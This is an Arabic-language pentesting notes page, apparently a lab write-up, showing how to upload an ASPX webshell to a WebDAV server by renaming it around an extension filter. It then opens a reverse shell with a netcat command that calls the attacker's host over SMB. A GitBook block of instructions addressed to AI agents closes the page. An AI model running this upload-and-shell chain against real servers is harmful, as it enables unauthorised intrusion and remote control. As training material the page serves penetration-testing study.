> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web-vulnerabilities/webdav-attack/webdav-webshell-aspx-pentesting-web.md).

# شل ويب ASPX عبر WebDAV

المنفذ 80 مفتوح، والخادم يدعم WebDAV. يتيح لنا ذلك احتمال رفع الملفات عبر طريقة PUT وإعادة تسميتها باستخدام MOVE.

<figure><img src="/files/dab804128b98418b015d60be9da771fa269e9e80" alt=""><figcaption></figcaption></figure>

أنشئ ملفًا بهذا المحتوى:

```bash
echo "this is a test" > test.txt

```

اتصل بالخادم باستخدام الأداة **cadaver**:

```bash
cadaver 10.10.10.15

```

جرّب رفع الملف باستخدام الأمر PUT:

<figure><img src="/files/0ad9b66acddaa0a28f2e29e1488be0d1c2dd4c80" alt=""><figcaption></figcaption></figure>

* النتيجة: نجاح.

<figure><img src="/files/97a11b39e8400a9b4d205d258360673b8fbc81f7" alt="" width="563"><figcaption></figcaption></figure>

### **رفع WebShell**

انسخ WebShell ASPX الموجود:

```bash
cp /usr/share/davtest/backdoors/aspx_cmd.aspx .

```

جرّب رفعه مباشرةً:

```powershell
put aspx_cmd.aspx

```

النتيجة: فشل (يحجب الخادم الملف ذو الامتداد .aspx).

<figure><img src="/files/728654d63c099d53c942b93efe8ad365820e371d" alt="" width="563"><figcaption></figcaption></figure>

غيّر الامتداد إلى **.txt**:

```bash
mv aspx_cmd.aspx cmd.txt

```

أعد محاولة الرفع:

```powershell
PUT cmd.txt

```

* النتيجة: نجاح.

<figure><img src="/files/f8b35cded99db8c433a68a468884646176915e65" alt="" width="563"><figcaption></figcaption></figure>

#### أعد تسمية الملف باستخدام MOVE لاستعادة الامتداد:

```powershell
move cmd.txt cmd.aspx

```

<figure><img src="/files/2d0e65963d8fb6bc69462307a1e71c3e23188822" alt=""><figcaption></figcaption></figure>

الوصول إلى WebShell عبر المتصفح:

<figure><img src="/files/2d2106f9f5757c7ed7c5de6674b8677c986fe567" alt=""><figcaption></figcaption></figure>

### **Reverse Shell عبر WebShell:**

ضع Netcat قابلًا للتنفيذ في الدليل الحالي:

```bash
cp /usr/share/SecLists/Web-Shells/FuzzDB/nc.exe .

```

شغّل خادم SMB لمشاركة الملف:

```bash
smbserver.py smbFolder $(pwd) -smb2support

```

اضبط جهازك كمستمع على المنفذ 443:

```bash
sudo rlwrap nc -nvlp 443

```

نفّذ أمر reverse shell من خلال WebShell:

```bash
//10.10.14.30/smbFolder/nc.exe -e cmd 10.10.14.30 443

```

<figure><img src="/files/ccdaa1bbcf7010e05f9011929be606af6a7bbcd6" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web-vulnerabilities/webdav-attack/webdav-webshell-aspx-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
